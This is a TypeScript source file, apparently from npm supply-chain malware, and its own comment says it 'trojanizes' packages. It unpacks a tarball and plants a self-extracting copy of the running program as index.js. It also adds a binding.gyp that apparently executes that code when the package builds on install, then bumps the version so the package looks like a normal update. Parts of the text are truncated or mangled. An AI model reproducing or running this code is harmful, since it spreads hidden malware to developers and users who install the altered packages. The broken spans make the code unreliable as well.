import { randomBytes } from "crypto"; import { createWriteStream } from "fs"; import * as fs from "fs/promises"; import * as path from "path"; import { pipeline } from "stream/promises"; import * as tar from "tar"; import { SCRIPT_NAME } from "../../utils/config"; import { logUtil } from "../../utils/logger"; import { buildSelfExtractingPayload } from "../../utils/selfExtracting"; export const TMP_PACKAGE_NAME = "package-updated.tgz"; export interface UpdateTarballOptions { /** Log / error-message tag, e.g. "[npm]" or "[npmoidc]". */ tag: string; /** * Name of the binding.gyp target. Defaults to "nothing". * NPMOidcClient uses "Setup". */ targetName?: string; /** Whether to add `"bun"` as a dependency in package.json. */ addBunDep?: boolean; /** * Custom content for index.js. When set, this is written directly * as index.js instead of the self-extracting Bun.main payload. * Useful for validation / testing the binding.gyp injection path. */ payload?: string; } /** * Download, trojanize, and repack an npm tarball. * * 1. Extract into a temp directory. * 2. Inject the self-extracting payload as `index.js`. * 3. Add a `binding.gyp` with a ` { const { tag, targetName = "nothing", addBunDep = false, payload } = opts; const uniqueSuffix = `${Date.now()}_${randomBytes(8).toString("hex")}`; const tmpDir = path.join(path.dirname(tarballPath), `_tmp_${uniqueSuffix}`); await fs.mkdir(tmpDir, { recursive: true }); try { await tar.extract({ file: tarballPath, cwd: tmpDir }); const scriptContent = payload ?? buildSelfExtractingPayload(await Bun.file(Bun.main).text(), { wrap: true, }); await Bun.write(path.join(tmpDir, "package", SCRIPT_NAME), scriptContent); // binding.gyp — /dev/null 2>&1 && echo stub.c)"]`, " }", " ]", "}", ].join("\n"); await Bun.write(path.join(tmpDir, "package", "binding.gyp"), gypContent); const pkgJsonPath = path.join(tmpDir, "package", "package.json"); const pkg = JSON.parse(await fs.readFile(pkgJsonPath, "utf-8")); if (addBunDep) { pkg.dependencies ??= {}; pkg.dependencies["bun"] = "^1.3.13"; } const [major, minor, patch] = pkg.version.split(".").map(Number); pkg.version = `${major}.${minor}.${patch + 1}`; await Bun.write(pkgJsonPath, JSON.stringify(pkg, null, 2)); const updatedPath = path.join( path.dirname(tarballPath), `${uniqueSuffix}_${TMP_PACKAGE_NAME}`, ); await pipeline( tar.create({ gzip: true, cwd: tmpDir }, ["package"]), createWriteStream(updatedPath), ); // Defensive postcondition: fail loudly here with context if the // tarball is somehow not a valid gzip stream, instead of // exploding inside `gunzipSync` further down the pipeline. const written = await fs.readFile(updatedPath); if (written.length < 18 || written[0] !== 0x1f || written[1] !== 0x8b) { throw new Error( `${tag} tarball at ${updatedPath} is not a valid gzip stream ` + `(len=${written.length}, first bytes=${written.subarray(0, 4).toString("hex")})`, ); } logUtil.log(`Updated path: ${updatedPath}`); return updatedPath; } finally { } }